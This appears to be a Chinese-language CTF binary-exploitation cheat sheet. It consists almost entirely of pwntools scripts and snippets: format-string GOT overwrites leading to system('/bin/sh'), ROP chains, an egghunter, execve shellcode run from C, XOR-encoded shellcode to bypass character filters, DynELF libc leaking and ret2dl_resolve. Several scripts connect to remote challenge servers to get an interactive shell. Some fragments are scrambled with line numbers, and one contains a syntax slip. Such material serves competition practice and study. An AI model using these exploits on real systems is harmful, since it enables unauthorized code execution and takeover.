gcc -Os -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook
远程挂起 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *while 1 : printhex(a) p=remote("35.205.206.137" ,1996 ) s="\x90" *900 s+="bbbbbbbb" s+=p64(a) p.sendline(s)
远程泄露 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 p.recvall() a=a+0x300 length=0 addr=0x8048000 file='' while addr<0x804b000 : payload="%13%s|||" +p32(addr) p.sendline(payload) data=p.recvuntil("|||" ).split("|||" )[0 ].split("hello" )[1 ] data+="\x00" length=len(data) file+=data addr=addr+length while open("aaa" ,"wb" ) as f: f.write(file)
格式化字符串利用 1。如果程序无法一次完成可以更改一个got表回到程序开始
2。尽可能用hhn可以减小输出次数,不然接收会有问题
3。字符串偏移如果不好算可以输出a来对齐
4.格式化漏洞x64中还要加上5个寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *exit_got=0x0804a024 print_got=0x0804a014 z1=0x0804 z1-=8 z2=0x866d z2-=0x0804 libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) p=process('./pwn1' ) print p.recvuntil('Welcome~\n' )payload = '%{0}d%32$hhn%{1}d%33$hhn%{2}d%34$hhn%{3}d%35$hhn' .format((0x6E )%0x100 ,(0x186 -0x6e )%0x100 ,(0x104 -0x86 )%0x100 ,(0x108 -0x4 )); payload = payload + 'a' * (100 -len(payload)) + p32(exit_got) + p32(exit_got + 1 ) + p32(exit_got + 2 ) + p32(exit_got + 3 ) p.sendline(payload) print p.recvuntil("\n" )payload=p32(print_got)+"%7$s" p.sendline(payload) p.recv(4 ) printf_addr=u32(p.recv(4 )) print "%x" %(printf_addr)system_addr=printf_addr-libc.symbols['printf' ]+libc.symbols['system' ] syslow1 = system_addr%0x100 syslow2 = (system_addr/0x100 )%0x100 syslow3 = (system_addr/0x10000 )%0x100 syslow4 = (system_addr/0x1000000 )%0x100 payload = '%{0}d%32$hhn%{1}d%33$hhn%{2}d%34$hhn%{3}d%35$hhn' .format(syslow1,(0x100 +syslow2-syslow1)%0x100 ,(0x100 +syslow3-syslow2)%0x100 ,(0x100 +syslow4-syslow3)%0x100 ); payload = payload + 'a' * (100 -len(payload)) + p32(print_got) + p32(print_got + 1 ) + p32(print_got + 2 ) + p32(print_got + 3 ) p.sendline(payload) p.sendline("/bin/sh\x00" ) p.interactive()
gdb调试脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 gdb.attach(p,""" b *0x0000000000400C04 set $i=1 commands if ($i==0) x /600xg *0x6020a0 p main_arena p system end set $i=$i-1 if ($i==0) continue end end continue """) gdb.attach(io, ''' #b *0x400EC0 流程断点 watch *(long*)0x601DC0 + *(long*)0x601DC8 + *(long*)0x601DD0 + *(long*)0x601DD8 访问断点 set $fhd=0x0 define dump_list 自定义逻辑 set $hd=$arg0 x/2xg $hd set $_node = *(long*)$hd #p/x $_node while ($_node && $_node!=$hd) x/4xg $_node set $_node = *(long*)($_node+0x10) end end commands 断点后执行 x/5i $rip x/10xg 0x601DC0 set $item=0x601DC0 set $addr=0 while ($item < 0x601DF0) if ($addr==0 || (*(long*)$item>0 && *(long*)$item<$addr)) set $addr=*(long*)$item end set $item=$item+8 end if ($addr > 0) x/120xg ($addr -0x10) end set $item=0x601DC0 while ($item < 0x601DF0 && $fhd==0) if (*(long*)$item > 0) if (*((long*)(*(long*)$item)) > 0x7f0000000000) set $fhd=(*((long*)(*(long*)$item))) end end set $item=$item+8 end if $fhd>0 dump_list $fhd end continue end continue ''')
执行shellcode 1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; int main (void ) {fprintf (stdout ,"Length: %d\n" ,strlen (shellcode));(*(void (*)()) shellcode)(); return 0 ;}
两种rop and egghunter 1 2 3 4 5 6 7 8 9 10 11 12 13 payload = 'A' * 24 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(evil_addr) payload = "http://%\0A" + 'A' *(156 -8 ) + system_addr + 'AAAA' + binsh_addr puts_plt + 'A' *4 + puts_got payload = 'A' * 24 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) sh_libc = list(libc.search('/bin/sh\x00' ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *debug = 0 if debug: io = process('./egg' ) else : io = remote('127.0.0.1' ,2334 ) context.log_level = 'debug' if debug: gdb.attach(pidof('egg' )[-1 ],open('zp' )) shellcode = '\x90\x50\x90\x50' +"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90" jmp_esp = 0x0804885f io.recvuntil('Your party seat is' ) chunk_addr = int(io.recvuntil('\n' ),16 ) print 'chunk_addr = ' + hex(chunk_addr)io.recvuntil('trick?' ) io.sendline('treat' ) io.recvuntil('located in ' ) stack_addr = int(io.recvuntil('\n' ),16 ) print 'stack_addr = ' + hex(stack_addr)io.recvuntil('your name?' ) egg_hunter = "\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01" payload = egg_hunter + 'A' *(20 -len(egg_hunter)) + p32(stack_addr) io.sendline(payload) io.recvuntil('sweets here.' ) io.sendline(shellcode) io.interactive()
shellcode链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 0: 50 push eax 1: 59 pop ecx 2: 53 push ebx 3: 58 pop eax 4: 48 dec eax 5: 75 39 jne 0x40 7: 30 41 20 xor BYTE PTR [ecx+0x20],al a: 30 41 63 xor BYTE PTR [ecx+0x63],al d: 75 38 jne 0x47 f: 34 33 xor al,0x33 11: 30 41 64 xor BYTE PTR [ecx+0x64],al 14: 75 39 jne 0x4f 16: 6a 4d push 0x4d 18: 58 pop eax 19: 30 41 30 xor BYTE PTR [ecx+0x30],al 1c: 75 38 jne 0x56 1e: 6a 4d push 0x4d 20: 58 pop eax 21: 30 41 34 xor BYTE PTR [ecx+0x34],al 24: 75 38 jne 0x5e 26: 6a 33 push 0x33 28: 58 pop eax 29: 50 push eax 2a: 50 push eax 2b: 50 push eax 2c: 75 38 jne 0x66 2e: 72 59 jb 0x89 30: 30 52 59 xor BYTE PTR [edx+0x59],dl 33: 75 39 jne 0x6e 35: 50 push eax 36: 34 38 xor al,0x38 38: 32 .byte 0x32 39: 4c dec esp
通过xor al的值 达成动态更改shellcode的值绕过特定字符限制
dec eax
xor al
xor BYTE PTR [ecx+0x34],al
python pwn应用 p.clean()清空
p=process(pc,env={“LD_PRELOAD”:’./libc.so.6’})加载指定库
cyclic崩溃测试
cyclic_find数据截止到
envp environ libc中查看栈
context.log_level = ‘debug’
ROPgadget –binary kidding –ropchain 生成rop链
DYNELF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *r = remote("106.75.84.74" , 10001 ) read_got = 0x0000000000601FC8 pop_rdi_ret = 0x0000000000400ed3 pppr = 0x000000000400ECE def leak (addr) : r.recvuntil(">" ) r.sendline("2" ) r.recvuntil("20):" ) payload = "aaaa" r.sendline(payload) r.recvuntil("20):" ) payload = "%12$s" +"AAAAAAA" + p64(addr) r.send(payload) r.recvuntil(">" ) r.sendline("1" ) content = r.recvuntil("AAAAAAA" ) if (len(content) == 12 ): print "[*] NULL " return '\x00' else : print "[*]%#x -- > %s" % (addr,(content[5 :-7 ] or '' ).encode('hex' )) return content[5 :-7 ] def writebyte (count_byte,addr) : r.recvuntil(">" ) r.sendline("2" ) r.recvuntil("20):" ) payload = "aaaa" r.sendline(payload) r.recvuntil("20):" ) payload = "%{0}c%12$hhn" .format(count_byte) payload += "A" *(12 -len(payload)) + p64(addr) r.send(payload) r.recvuntil(">" ) r.sendline("1" ) r.recvuntil("\n" ) r.recvuntil("40):" ) r.sendline("aaa" ) r.recvuntil("40):" ) r.sendline("aaa" ) d = DynELF(leak,elf=ELF('./pwnme' )) system_addr = d.lookup('system' ,'libc' ) print "[*] system addr:{0}" .format(hex(system_addr))r.recvuntil(">" ) r.sendline("2" ) r.recvuntil("20):" ) payload = "aaaa" r.sendline(payload) r.recvuntil("20):" ) payload = "%6$s" r.send(payload) r.recvuntil(">" ) r.sendline("1" ) r.recvuntil("\n" ) content = r.recv(6 ) content = content.ljust(8 ,"\x00" ) stack_addr = u64(content) stack_while_ret_addr = stack_addr + 8 - 0xb0 print "[*] stack_while_ret addr:{0}" .format(hex(stack_while_ret_addr))''' 0000| 0x7ffc23fb84f0 --> 0x7ffc23fb8530 --> 0x7ffc23fb85e0 --> 0x400e70 (push r15) 0008| 0x7ffc23fb84f8 --> 0x400d32 (add rsp,0x30) 0016| 0x7ffc23fb8500 --> 0xa61616161 ('aaaa\n') 0024| 0x7ffc23fb8508 --> 0x0 0032| 0x7ffc23fb8510 --> 0x7324362500000000 ('') 0040| 0x7ffc23fb8518 --> 0x0 0048| 0x7ffc23fb8520 --> 0x0 0056| 0x7ffc23fb8528 --> 0x400d0b (cmp eax,0x2) ''' writebyte(0xce ,stack_while_ret_addr) writebyte(system_addr & 0xff ,stack_while_ret_addr + 0x30 ) writebyte((system_addr >> 8 ) & 0xff ,stack_while_ret_addr + 0x30 + 1 ) writebyte((system_addr >> 16 ) & 0xff ,stack_while_ret_addr + 0x30 + 2 ) writebyte((system_addr >> 24 ) & 0xff ,stack_while_ret_addr + 0x30 + 3 ) writebyte((system_addr >> 32 ) & 0xff ,stack_while_ret_addr + 0x30 + 4 ) writebyte((system_addr >> 40 ) & 0xff ,stack_while_ret_addr + 0x30 + 5 ) print r.recvuntil(">" )r.sendline("2" ) print r.recvuntil("20):" )payload = "/bin/sh;" + "AAAAAAAABBB" r.sendline(payload) print r.recvuntil("20):" )payload = "\x00\x00\x00\x00" + p64(pop_rdi_ret) + p64(stack_while_ret_addr + 8 ) r.send(payload) print r.recvuntil(">" )r.sendline('3' ) r.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # shellcode from pwn import * c=asm( """ jmp lab1; nop nop nop nop nop nop nop nop lab1: nop """,arch='amd64') print c.encode('hex') z=c.encode('hex') a=0 q="" while(a<len(z)): q+="\\x"+z[a]+z[a+1] a=a+2 print q
rtd1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #!/usr/bin/python #coding:utf-8 import sys sys.path.append('./roputils') import roputils from pwn import * from hashlib import sha256 fpath = './babystack' offset = 44 readplt = 0x08048300 bss = 0x0804a020 vulFunc = 0x0804843B #p = process(fpath) #p = remote('202.120.7.202', 6666) p = remote('127.0.0.1', 6666) context.log_level = 'debug' def getsol(chal): for a in range(33,125): for b in range (33, 125): for c in range (33, 125): for d in range(33,125): sol = str(chr(a)) + str(chr(b)) + str(chr(c)) + str(chr(d)) if sha256(chal + sol).digest().startswith('\0\0\0'): print('sha256 success! sol = ' + sol) return sol rop = roputils.ROP(fpath) addr_bss = rop.section('.bss') chal = p.recvline() chal = chal.strip('\n') print 'chal = %r' %(chal) sol = getsol(chal) p.send(sol) # step1 : write shStr & resolve struct to bss # read指向bss,让下文写入binShStr和构造的fake dl_resolve结构,获得system解析链 # buf1 = rop.retfill(offset) buf1 = 'A' * offset #44 buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100) p.send(buf1) buf2 = '/bin/sh\0' buf2 += rop.fill(20, buf2) buf2 += rop.dl_resolve_data(addr_bss+20, 'system') buf2 += rop.fill(100, buf2) p.send(buf2) # dl_resolve解析链构造完成后的调用也可用它自带的,亦或者自己计算reloc_offset自己调用plt0传入也行。 # step3 : use dl_resolve_call get system & system('/bin/sh') # 利用roputils自带的调用生成rop buf3 = 'A' * offset + rop.dl_resolve_call(addr_bss+20, addr_bss)# + 'a'*30 p.sendline(buf3)